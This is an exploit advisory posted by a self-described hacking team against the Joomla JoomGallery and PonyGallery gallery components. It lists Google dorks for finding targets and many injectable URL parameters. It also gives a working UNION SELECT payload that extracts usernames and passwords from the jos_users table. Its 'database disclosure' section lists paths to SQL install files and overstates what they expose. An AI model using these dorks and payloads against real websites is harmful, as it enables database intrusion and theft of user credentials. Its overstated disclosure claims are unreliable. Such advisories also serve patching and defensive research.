#################################################################### # Exploit Title : Joomla JoomGallery 3.2.2 PonyGallery 2.5.1 SQL Injection / Database Disclosure # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 12/02/2019 # Vendor Homepage : joomlander.net - joomlacode.org # Software Download Link : github.com/JoomGallery/JoomGallery/archive/master.zip adyawinsa.com/index.php/remository?func=fileinfo&id=2 github.com/JoomGallery/JoomGallery # Software Information Link : en.joomgallery.net/faq/general-faq/migration-and-update-to-joomgallery-15.html en.joomgallery.net/demo/faq/general-faq/from-ponygallery-ml-in-joomla-1-5-89.html extensions.joomla.org/extension/photos-a-images/galleries/joomgallery/ sourceforge.net/projects/pony-gallery/ joomlacode.org/gf/project/ponygalleryrand/ # Software Affected Versions : 3.3.0 3.2.2 for Joomla 3.x and previous versions. + PonyGallery 2.5.1 ML for Joomla 1.5 - PonyGallery v1.0.x extension # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Google Dorks : inurl:''/index.php?option=com_ponygallery'' inurl:''/index.php?option=com_joomgallery'' # Vulnerability Type : CWE-89 [ Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') ] CWE-200 [ Information Exposure ] # Old Similar CVE [ Only Version and Parameters are different ] : CVE-2007-4046 # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos #################################################################### # Description about Software : *************************** JoomGallery is a gallery component completely integrated into Joomla!, with support for Joomla! 3.x Pony Gallery - Module displays one or more random Pony - Gallery images, sizable thumbnails or full-size, horizontal or vertical - orientation, with optional category and - author links. This Joomla extension/component moved to JoomlaCode.org 12/12/2007 from Joomlander.Net. Now JoomGallery and PonyGallery are presented together. #################################################################### # Impact : *********** * Joomla JoomGallery 3.2.2 PonyGallery 3.2.2 and other versions - component for Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. A remote attacker can send a specially crafted request to the vulnerable application and execute arbitrary SQL commands in application`s database. Further exploitation of this vulnerability may result in unauthorized data manipulation. An attacker can exploit this issue using a browser. * This Software prone to an information exposure/database disclosure vulnerability. Successful exploits of this issue may allow an attacker to obtain sensitive information by downloading the full contents of the application's database. * Any remote user may download the database files and gain access to sensitive information including unencrypted authentication credentials. #################################################################### # SQL Injection Exploit : ********************** /index.php?option=com_ponygallery&Itemid=[SQL Injection] /index.php?option=com_ponygallery&Itemid=[SQL Injection] /index.php?option=com_ponygallery&Itemid=[SQL Injection]&func=special /index.php?option=com_ponygallery&Itemid=x&func=viewcategory&catid=[SQL Injection] /index.php?option=com_ponygallery&Itemid=[ID-NUMBER]&func=detail&id=[SQL Injection] /index.php?option=com_ponygallery&Itemid=[ID-NUMBER]&func=viewcategory&catid=[SQL Injection]&lang=dutch /index.php?option=com_ponygallery&Itemid=[ID-NUMBER]&func=viewcategory&catid=[ID-NUMBER]&startpage=[SQL Injection] /index.php?option=com_ponygallery&Itemid=[ID-NUMBER]&func=special&sorting=lastcomment&date=[YEAR]-[MONTH]-[DAY][SQL Injection] /index.php?option=com_joomgallery&func=viewcategory&catid=[ID-NUMBER]&startpage=[ID-NUMBER]&substartpage=[ID-NUMBER]&Itemid=[SQL Injection]&lang=en /index.php?option=com_joomgallery&Itemid=[SQL Injection] /index.php?view=detail&id=[SQL Injection]&option=com_joomgallery /index.php?format=feed&type=rss&option=com_joomgallery&Itemid=[SQL Injection] /index.php?option=com_joomgallery&func=viewcategory&catid=[ID-NUMBER]&Itemid=[SQL Injection] /index.php?view=image&format=raw&type=orig&id=[ID-NUMBER]&option=com_joomgallery&Itemid=[SQL Injection] /index.php?view=image&format=raw&type=img&id=[ID-NUMBER]&option=com_joomgallery&Itemid=[SQL Injection] /index.php?view=detail&id=[ID-NUMBER]&option=com_joomgallery&lang=en&Itemid=[SQL Injection] /index.php?view=category&catid=[ID-NUMBER]&option=com_joomgallery&Itemid=[ID-NUMBER]&page=[SQL Injection] /index.php?option=com_joomgallery&func=download&catid=[ID-NUMBER]&id=[ID-NUMBER]&Itemid=[SQL Injection]&lang=ru /index.php?option=com_joomgallery&catid=[ID-NUMBER]&lang=de&view=category&Itemid=[SQL Injection]&format=feed&type=atom /index.php?view=category&catid=[ID-NUMBER]&page=[ID-NUMBER]&catpage=[ID-NUMBER]&option=com_joomgallery&Itemid=[SQL Injection] /index.php?view=category&catid=[ID-NUMBER]&startpage=[ID-NUMBER]&substartpage=[ID-NUMBER]&option=com_joomgallery&Itemid=[SQL Injection] /index.php?option=com_joomgallery&func=viewcategory&catid=[ID-NUMBER]&startpage=[ID-NUMBER]&substartpage=[ID-NUMBER]&Itemid=[SQL Injection]&lang=en#subcategory # Example SQL Injection Exploit Payload : ************************************* %20union%20select%201,2,3,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),5,0,0%20from%20jos_users/* # Database Disclosure Exploit : *************************** /administrator/components/com_joomgallery/sql/install.mysql.utf8.sql /administrator/components/com_joomgallery/sql/uninstall.mysql.utf8.sql /administrator/components/com_joomgallery/sql/updates/mysql/2.0.0.sql /administrator/components/com_joomgallery/sql/updates/mysql/2.1.0.sql /administrator/components/com_joomgallery/sql/updates/mysql/3.0.0.sql /administrator/components/com_joomgallery/sql/updates/mysql/3.1.0.sql /administrator/components/com_joomgallery/sql/updates/mysql/3.2.0.sql /administrator/components/com_joomgallery/sql/updates/mysql/3.2.1.sql /administrator/components/com_joomgallery/sql/updates/mysql/3.3.0.sql #################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team ####################################################################